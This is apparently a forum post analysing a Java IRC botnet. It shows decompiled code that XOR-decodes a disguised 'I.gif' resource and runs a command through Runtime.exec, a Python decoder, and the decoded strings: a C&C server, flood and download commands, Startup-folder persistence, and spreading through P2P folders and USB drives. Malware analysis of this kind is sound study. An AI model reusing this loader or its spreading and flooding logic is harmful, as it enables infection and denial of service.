


// --snip--
try { InputStream inputstream = (new I()).getClass().getResourceAsStream(""+'I'+'.'+'g'+'i'+'f');
// --snip--
while(i != 0)
{
int k = inputstream.read(abyte0, j, i);
// --snip--
// --snip--
try { Runtime runtime = Runtime.getRuntime();
// 52 127:invokestatic #10 <Method Runtime Runtime.getRuntime()>
// 53 130:astore_3
runtime.exec((new StringBuilder()).append(I.I(137)).append(System.getProperty(I.I(51))).append(I.I(127)).toString());
// 54 131:aload_3
// 55 132:new #3 <Class StringBuilder>
// 56 135:dup
// 57 136:invokespecial #4 <Method void StringBuilder()>
// 58 139:sipush 137
// 59 142:invokestatic #70 <Method String I.I(int)>
// 60 145:invokevirtual #6 <Method StringBuilder StringBuilder.append(String)>
// --snip--
// --snip--
public static final synchronized String I(int i)
{
int j = i & 0xff;
// 0 0:iload_0
// 1 1:sipush 255
// 2 4:iand
// 3 5:istore_1
if(intern[j] != i)
//* 4 6:getstatic #2 <Field int[] intern>
//* 5 9:iload_1
//* 6 10:iaload
//* 7 11:iload_0
//* 8 12:icmpeq 62
{
intern[j] = i;
// 9 15:getstatic #2 <Field int[] intern>
// 10 18:iload_1
// 11 19:iload_0
// 12 20:iastore
if(i < 0)
//* 13 21:iload_0
//* 14 22:ifge 30
i &= 0xffff;
// 15 25:iload_0
// 16 26:ldc1 #3 <Int 65535>
// 17 28:iand
// 18 29:istore_0
String s = (new String(getClass, i, getClass[i - 1] & 0xff)).intern();
// 19 30:new #4 <Class String>
// 20 33:dup
// 21 34:getstatic #5 <Field byte[] getClass>
// 22 37:iload_0
// 23 38:getstatic #5 <Field byte[] getClass>
// 24 41:iload_0
// 25 42:iconst_1
// 26 43:isub
// 27 44:baload
// 28 45:sipush 255
// 29 48:iand
// 30 49:invokespecial #6 <Method void String(byte[], int, int)>
// 31 52:invokevirtual #7 <Method String String.intern()>
// 32 55:astore_2
getResourceAsStream[j] = s;
// 33 56:getstatic #8 <Field String[] getResourceAsStream>
// 34 59:iload_1
// 35 60:aload_2
// 36 61:aastore
}
return getResourceAsStream[j];
// --snip--



// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.kpdus.com/jad.html
// Decompiler options: packimports(3)
// Source File Name: I/I
package I;
import java.io.InputStream;
public class I
{
public I()
{
}
public static final synchronized String I(int i)
{
int j = i & 0xff;
if(intern[j] != i)
{
intern[j] = i;
if(i < 0)
i &= 0xffff;
String s = (new String(getClass, i, getClass[i - 1] & 0xff)).intern();
getResourceAsStream[j] = s;
}
return getResourceAsStream[j];
}
static byte getClass[];
static String getResourceAsStream[] = new String[256];
static int intern[] = new int[256];
static
{
try
{
InputStream inputstream = (new I()).getClass().getResourceAsStream("" + 'I' + '.' + 'g' + 'i' + 'f');
if(inputstream != null)
{
int i = inputstream.read() << 16 | inputstream.read() << 8 | inputstream.read();
getClass = new byte[i];
int j = 0;
byte byte0 = (byte)i;
byte abyte0[] = getClass;
while(i != 0)
{
int k = inputstream.read(abyte0, j, i);
if(k == -1)
break;
i -= k;
for(k += j; j < k; j++)
abyte0[j] ^= byte0;
}
inputstream.close();
}
}
catch(Exception exception) { }
}
}

#!/usr/bin/env python
import sys
ec = open("I.gif").read()
ki = (len(ec) - 3) & 0x00ff
ec = ec[3:]
for b in ec:
sys.stdout.write(chr(ord(b) ^ ki))
$ ./decoder.py | strings > decoded.gif.txt
[REMOVED]
regedit /a user.name C:\Users\G\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\java.jar
C:\Documents and Settings\%\Start Menu\Programs\Startup\java.jar
irc.h4cky0u.org
NICK
USER
PING
PONG
JOIN :#foo
fooibos
.say
.flood
.update
.httpflood .download
File saved
.quit
phEvOs
Quitting
Can't quit
.info
OS:
os.name
Version:
os.version
Service pack:
sun.os.patch.level
.spread
.scan bearshare
c:\DOWNLOADS
d:\DOWNLOADS
e:\DOWNLOADS
f:\DOWNLOADS
limewire'c:\Program Files\Document and Settings\
\Shared'd:\Program Files\Document and Settings\
kazaa'c:\program files\kazaa\my shared folder'd:\program files\kazaa\my shared folder
USB/OTHER-E
USB/OTHER-F
USB/OTHER-G
USB/OTHER-H
USB/OTHER-I
USB/OTHER-J
USB/OTHER-K
USB/OTHER-L
USB/OTHER-M
USB/OTHER-N
USB/OTHER-O
USB/OTHER-P
USB/OTHER-Q
USB/OTHER-R
USB/OTHER-S
USB/OTHER-T
USB/OTHER-U
USB/OTHER-V
USB/OTHER-W
USB/OTHER-X
USB/OTHER-Y
USB/OTHER-Z
192.168.0.
192.168.0.255
\Important.jar USB/OTHER
\free music.jar
\free games.jar Found! - & shared directory, copyd files into it$ directory, Could not copy the files
PRIVMSG #foo
User-AgentXMozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3
Failed
java -jar
Code reexecuted.
Done flooding
MICRO

Return to Interpreted Languages
Users browsing this forum: No registered users and 0 guests